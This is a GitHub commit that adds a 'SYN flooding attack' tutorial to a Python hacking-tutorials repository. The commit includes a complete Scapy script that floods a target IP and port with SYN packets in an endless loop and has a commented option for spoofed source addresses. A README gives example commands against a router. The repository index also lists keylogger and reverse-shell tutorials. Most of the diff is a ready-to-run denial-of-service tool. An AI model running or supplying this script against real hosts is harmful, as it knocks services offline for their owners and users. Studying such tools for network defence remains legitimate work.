Skip to content

Commit 62d02cc

Browse files
committed
added SYN flooding attack tutorial
1 parent 6a0d5bb commit 62d02cc

File tree

4 files changed

+54
-0
lines changed

4 files changed

+54
-0
lines changed

Diff for: README.md

+1
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,7 @@ This is a repository of all the tutorials of [The Python Code](https://www.thepy
1414
- [Writing a DNS Spoofer](https://www.thepythoncode.com/article/make-dns-spoof-python). ([code](scapy/dns-spoof))
1515
- [How to Sniff HTTP Packets in the Network using Scapy in Python](https://www.thepythoncode.com/article/sniff-http-packets-scapy-python). ([code](scapy/http-sniffer))
1616
- [How to Build a WiFi Scanner in Python using Scapy](https://www.thepythoncode.com/article/building-wifi-scanner-in-python-scapy). ([code](scapy/wifi-scanner))
17+
- [How to Make a SYN Flooding Attack in Python](https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python). ([code](scapy/syn-flood))
1718
- [Writing a Keylogger in Python from Scratch](https://www.thepythoncode.com/article/write-a-keylogger-python). ([code](ethical-hacking/keylogger))
1819
- [Making a Port Scanner using sockets in Python](https://www.thepythoncode.com/article/make-port-scanner-python). ([code](ethical-hacking/port_scanner))
1920
- [How to Create a Reverse Shell in Python](https://www.thepythoncode.com/article/create-reverse-shell-python). ([code](ethical-hacking/reverse_shell))

Diff for: scapy/syn-flood/README.md

+25
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
# [How to Make a SYN Flooding Attack in Python](https://www.thepythoncode.com/article/syn-flooding-attack-using-scapy-in-python)
2+
To run this:
3+
- `pip3 install -r requirements.txt`
4+
- Run help:
5+
```
6+
python syn_flood.py --help
7+
```
8+
**Output:**
9+
```
10+
usage: syn_flood.py [-h] [-p PORT] target_ip
11+
12+
Simple SYN Flood Script
13+
14+
positional arguments:
15+
target_ip Target IP address (e.g router's IP)
16+
17+
optional arguments:
18+
-h, --help show this help message and exit
19+
-p PORT, --port PORT Destination port (the port of the target's machine
20+
service, e.g 80 for HTTP, 22 for SSH and so on).
21+
```
22+
- To run this against your router's web interface that has the IP address of 192.168.1.1:
23+
```
24+
python syn_flood.py -p 80 192.168.1.1
25+
```

Diff for: scapy/syn-flood/requirements.txt

+1
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
scapy

Diff for: scapy/syn-flood/syn_flood.py

+27
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,27 @@
1+
from scapy.all import *
2+
import argparse
3+
4+
parser = argparse.ArgumentParser(description="Simple SYN Flood Script")
5+
parser.add_argument("target_ip", help="Target IP address (e.g router's IP)")
6+
parser.add_argument("-p", "--port", help="Destination port (the port of the target's machine service, \
7+
e.g 80 for HTTP, 22 for SSH and so on).")
8+
# parse arguments from the command line
9+
args = parser.parse_args()
10+
# target IP address (should be a testing router/firewall)
11+
target_ip = args.target_ip
12+
# the target port u want to flood
13+
target_port = args.port
14+
# forge IP packet with target ip as the destination IP address
15+
ip = IP(dst=target_ip)
16+
# or if you want to perform IP Spoofing (will work as well)
17+
# ip = IP(src=RandIP("192.168.1.1/24"), dst=target_ip)
18+
# forge a TCP SYN packet with a random source port
19+
# and the target port as the destination port
20+
tcp = TCP(sport=RandShort(), dport=target_port, flags="S")
21+
# add some flooding data (1KB in this case, don't increase it too much,
22+
# otherwise, it won't work.)
23+
raw = Raw(b"X"*1024)
24+
# stack up the layers
25+
p = ip / tcp / raw
26+
# send the constructed packet in a loop until CTRL+C is detected
27+
send(p, loop=1, verbose=0)

0 commit comments

Comments
 (0)